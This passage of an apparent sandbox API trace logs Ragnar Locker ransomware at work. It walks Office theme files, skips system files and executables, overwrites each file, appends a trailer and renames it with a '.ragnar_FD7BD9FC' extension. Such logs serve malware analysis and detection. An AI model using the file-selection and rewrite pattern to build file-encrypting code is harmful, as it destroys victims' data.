lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0093.854] VirtualAlloc (lpAddress=0x0, dwSize=0x96e87, flAllocationType=0x3000, flProtect=0x4) returned 0x21c0000 [0093.854] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.854] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0093.854] ReadFile (in: hFile=0x98, lpBuffer=0x21c0000, nNumberOfBytesToRead=0x96e87, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x21c0000*, lpNumberOfBytesRead=0x1eaf34*=0x96e87, lpOverlapped=0x0) returned 1 [0093.867] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0093.870] LockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x96e87, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.870] WriteFile (in: hFile=0x98, lpBuffer=0x21c0000*, nNumberOfBytesToWrite=0x96e87, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x21c0000*, lpNumberOfBytesWritten=0x1eaf30*=0x96e87, lpOverlapped=0x0) returned 1 [0093.871] UnlockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x96e87, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.871] VirtualFree (lpAddress=0x21c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0093.874] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x96e87, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.874] LockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.874] WriteFile (in: hFile=0x98, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0093.875] WriteFile (in: hFile=0x98, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0093.875] WriteFile (in: hFile=0x98, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0093.875] UnlockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.875] GetProcessHeap () returned 0x580000 [0093.875] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0093.875] CloseHandle (hObject=0x98) returned 1 [0093.875] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx" [0093.875] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx.ragnar_FD7BD9FC" [0093.875] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\black tie.eftx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\black tie.eftx.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0093.876] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72f4900, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe59b5580, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x72f4900, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xa7a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Civic.eftx", cAlternateFileName="CIVIC~1.EFT")) returned 1 [0093.876] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x4a [0093.876] lstrcpyW (in: lpString1=0x1eb64e, lpString2="Civic.eftx" | out: lpString1="Civic.eftx") returned="Civic.eftx" [0093.876] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx") returned=".eftx" [0093.876] lstrcmpiW (lpString1="Civic.eftx", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0093.876] lstrcmpiW (lpString1="Civic.eftx", lpString2="autorun.inf") returned 1 [0093.876] lstrcmpiW (lpString1="Civic.eftx", lpString2="boot.ini") returned 1 [0093.876] lstrcmpiW (lpString1="Civic.eftx", lpString2="bootfont.bin") returned 1 [0093.876] lstrcmpiW (lpString1="Civic.eftx", lpString2="bootsect.bak") returned 1 [0093.876] lstrcmpiW (lpString1="Civic.eftx", lpString2="bootmgr") returned 1 [0093.876] lstrcmpiW (lpString1="Civic.eftx", lpString2="bootmgr.efi") returned 1 [0093.876] lstrcmpiW (lpString1="Civic.eftx", lpString2="bootmgfw.efi") returned 1 [0093.876] lstrcmpiW (lpString1="Civic.eftx", lpString2="desktop.ini") returned -1 [0093.876] lstrcmpiW (lpString1="Civic.eftx", lpString2="iconcache.db") returned -1 [0093.876] lstrcmpiW (lpString1="Civic.eftx", lpString2="ntldr") returned -1 [0093.876] lstrcmpiW (lpString1="Civic.eftx", lpString2="ntuser.dat") returned -1 [0093.876] lstrcmpiW (lpString1="Civic.eftx", lpString2="ntuser.dat.log") returned -1 [0093.876] lstrcmpiW (lpString1="Civic.eftx", lpString2="ntuser.ini") returned -1 [0093.876] lstrcmpiW (lpString1="Civic.eftx", lpString2="thumbs.db") returned -1 [0093.876] lstrcmpiW (lpString1=".eftx", lpString2=".db") returned 1 [0093.876] lstrcmpiW (lpString1=".eftx", lpString2=".sys") returned -1 [0093.876] lstrcmpiW (lpString1=".eftx", lpString2=".dll") returned 1 [0093.876] lstrcmpiW (lpString1=".eftx", lpString2=".lnk") returned -1 [0093.876] lstrcmpiW (lpString1=".eftx", lpString2=".msi") returned -1 [0093.876] lstrcmpiW (lpString1=".eftx", lpString2=".drv") returned 1 [0093.876] lstrcmpiW (lpString1=".eftx", lpString2=".exe") returned -1 [0093.876] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\civic.eftx")) returned 0x20 [0093.878] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\civic.eftx"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x98 [0093.878] GetFileSizeEx (in: hFile=0x98, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=42917) returned 1 [0093.878] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0xa79c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.878] GetProcessHeap () returned 0x580000 [0093.878] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0093.878] ReadFile (in: hFile=0x98, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0093.879] VirtualAlloc (lpAddress=0x0, dwSize=0xa7a5, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0093.880] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.880] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0093.880] ReadFile (in: hFile=0x98, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xa7a5, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xa7a5, lpOverlapped=0x0) returned 1 [0093.881] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0093.881] LockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xa7a5, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.881] WriteFile (in: hFile=0x98, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xa7a5, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xa7a5, lpOverlapped=0x0) returned 1 [0093.882] UnlockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xa7a5, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.882] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0093.882] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0xa7a5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.882] LockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.882] WriteFile (in: hFile=0x98, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0093.882] WriteFile (in: hFile=0x98, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0093.882] WriteFile (in: hFile=0x98, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0093.882] UnlockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.882] GetProcessHeap () returned 0x580000 [0093.882] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0093.883] CloseHandle (hObject=0x98) returned 1 [0093.883] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx" [0093.883] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx.ragnar_FD7BD9FC" [0093.883] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\civic.eftx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\civic.eftx.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0093.883] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x465d9a00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe59db6e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x465d9a00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x8032, dwReserved0=0x0, dwReserved1=0x0, cFileName="Clarity.eftx", cAlternateFileName="CLARIT~1.EFT")) returned 1 [0093.883] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x4a [0093.883] lstrcpyW (in: lpString1=0x1eb64e, lpString2="Clarity.eftx" | out: lpString1="Clarity.eftx") returned="Clarity.eftx" [0093.883] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx") returned=".eftx" [0093.883] lstrcmpiW (lpString1="Clarity.eftx", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0093.884] lstrcmpiW (lpString1="Clarity.eftx", lpString2="autorun.inf") returned 1 [0093.884] lstrcmpiW (lpString1="Clarity.eftx", lpString2="boot.ini") returned 1 [0093.884] lstrcmpiW (lpString1="Clarity.eftx", lpString2="bootfont.bin") returned 1 [0093.884] lstrcmpiW (lpString1="Clarity.eftx", lpString2="bootsect.bak") returned 1 [0093.884] lstrcmpiW (lpString1="Clarity.eftx", lpString2="bootmgr") returned 1 [0093.884] lstrcmpiW (lpString1="Clarity.eftx", lpString2="bootmgr.efi") returned 1 [0093.884] lstrcmpiW (lpString1="Clarity.eftx", lpString2="bootmgfw.efi") returned 1 [0093.884] lstrcmpiW (lpString1="Clarity.eftx", lpString2="desktop.ini") returned -1 [0093.884] lstrcmpiW (lpString1="Clarity.eftx", lpString2="iconcache.db") returned -1 [0093.884] lstrcmpiW (lpString1="Clarity.eftx", lpString2="ntldr") returned -1 [0093.884] lstrcmpiW (lpString1="Clarity.eftx", lpString2="ntuser.dat") returned -1 [0093.884] lstrcmpiW (lpString1="Clarity.eftx", lpString2="ntuser.dat.log") returned -1 [0093.884] lstrcmpiW (lpString1="Clarity.eftx", lpString2="ntuser.ini") returned -1 [0093.884] lstrcmpiW (lpString1="Clarity.eftx", lpString2="thumbs.db") returned -1 [0093.884] lstrcmpiW (lpString1=".eftx", lpString2=".db") returned 1 [0093.884] lstrcmpiW (lpString1=".eftx", lpString2=".sys") returned -1 [0093.884] lstrcmpiW (lpString1=".eftx", lpString2=".dll") returned 1 [0093.884] lstrcmpiW (lpString1=".eftx", lpString2=".lnk") returned -1 [0093.884] lstrcmpiW (lpString1=".eftx", lpString2=".msi") returned -1 [0093.884] lstrcmpiW (lpString1=".eftx", lpString2=".drv") returned 1 [0093.884] lstrcmpiW (lpString1=".eftx", lpString2=".exe") returned -1 [0093.884] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\clarity.eftx")) returned 0x20 [0093.885] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\clarity.eftx"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x98 [0093.885] GetFileSizeEx (in: hFile=0x98, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=32818) returned 1 [0093.885] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x8029, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.885] GetProcessHeap () returned 0x580000 [0093.885] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0093.885] ReadFile (in: hFile=0x98, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0093.887] VirtualAlloc (lpAddress=0x0, dwSize=0x8032, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0093.887] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.887] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0093.887] ReadFile (in: hFile=0x98, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x8032, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x8032, lpOverlapped=0x0) returned 1 [0093.888] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0093.889] LockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x8032, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.889] WriteFile (in: hFile=0x98, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x8032, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x8032, lpOverlapped=0x0) returned 1 [0093.889] UnlockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x8032, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.889] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0093.889] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x8032, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.889] LockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.889] WriteFile (in: hFile=0x98, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0093.890] WriteFile (in: hFile=0x98, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0093.890] WriteFile (in: hFile=0x98, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0093.890] UnlockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.890] GetProcessHeap () returned 0x580000 [0093.890] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0093.890] CloseHandle (hObject=0x98) returned 1 [0093.890] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx" [0093.890] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx.ragnar_FD7BD9FC" [0093.890] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\clarity.eftx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\clarity.eftx.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0093.891] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6db46700, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5a01840, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6db46700, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x825e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Composite.eftx", cAlternateFileName="COMPOS~1.EFT")) returned 1 [0093.891] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x4a [0093.891] lstrcpyW (in: lpString1=0x1eb64e, lpString2="Composite.eftx" | out: lpString1="Composite.eftx") returned="Composite.eftx" [0093.891] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx") returned=".eftx" [0093.891] lstrcmpiW (lpString1="Composite.eftx", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0093.891] lstrcmpiW (lpString1="Composite.eftx", lpString2="autorun.inf") returned 1 [0093.891] lstrcmpiW (lpString1="Composite.eftx", lpString2="boot.ini") returned 1 [0093.891] lstrcmpiW (lpString1="Composite.eftx", lpString2="bootfont.bin") returned 1 [0093.891] lstrcmpiW (lpString1="Composite.eftx", lpString2="bootsect.bak") returned 1 [0093.891] lstrcmpiW (lpString1="Composite.eftx", lpString2="bootmgr") returned 1 [0093.891] lstrcmpiW (lpString1="Composite.eftx", lpString2="bootmgr.efi") returned 1 [0093.891] lstrcmpiW (lpString1="Composite.eftx", lpString2="bootmgfw.efi") returned 1 [0093.891] lstrcmpiW (lpString1="Composite.eftx", lpString2="desktop.ini") returned -1 [0093.891] lstrcmpiW (lpString1="Composite.eftx", lpString2="iconcache.db") returned -1 [0093.891] lstrcmpiW (lpString1="Composite.eftx", lpString2="ntldr") returned -1 [0093.891] lstrcmpiW (lpString1="Composite.eftx", lpString2="ntuser.dat") returned -1 [0093.891] lstrcmpiW (lpString1="Composite.eftx", lpString2="ntuser.dat.log") returned -1 [0093.891] lstrcmpiW (lpString1="Composite.eftx", lpString2="ntuser.ini") returned -1 [0093.891] lstrcmpiW (lpString1="Composite.eftx", lpString2="thumbs.db") returned -1 [0093.891] lstrcmpiW (lpString1=".eftx", lpString2=".db") returned 1 [0093.891] lstrcmpiW (lpString1=".eftx", lpString2=".sys") returned -1 [0093.891] lstrcmpiW (lpString1=".eftx", lpString2=".dll") returned 1 [0093.891] lstrcmpiW (lpString1=".eftx", lpString2=".lnk") returned -1 [0093.891] lstrcmpiW (lpString1=".eftx", lpString2=".msi") returned -1 [0093.891] lstrcmpiW (lpString1=".eftx", lpString2=".drv") returned 1 [0093.891] lstrcmpiW (lpString1=".eftx", lpString2=".exe") returned -1 [0093.891] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\composite.eftx")) returned 0x20 [0093.892] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\composite.eftx"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x98 [0093.893] GetFileSizeEx (in: hFile=0x98, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=533988) returned 1 [0093.893] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x825db, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.893] GetProcessHeap () returned 0x580000 [0093.893] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0093.893] ReadFile (in: hFile=0x98, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0093.894] VirtualAlloc (lpAddress=0x0, dwSize=0x825e4, flAllocationType=0x3000, flProtect=0x4) returned 0x21c0000 [0093.894] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.894] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0093.894] ReadFile (in: hFile=0x98, lpBuffer=0x21c0000, nNumberOfBytesToRead=0x825e4, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x21c0000*, lpNumberOfBytesRead=0x1eaf34*=0x825e4, lpOverlapped=0x0) returned 1 [0093.905] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0093.908] LockFile (hFile=0x98, 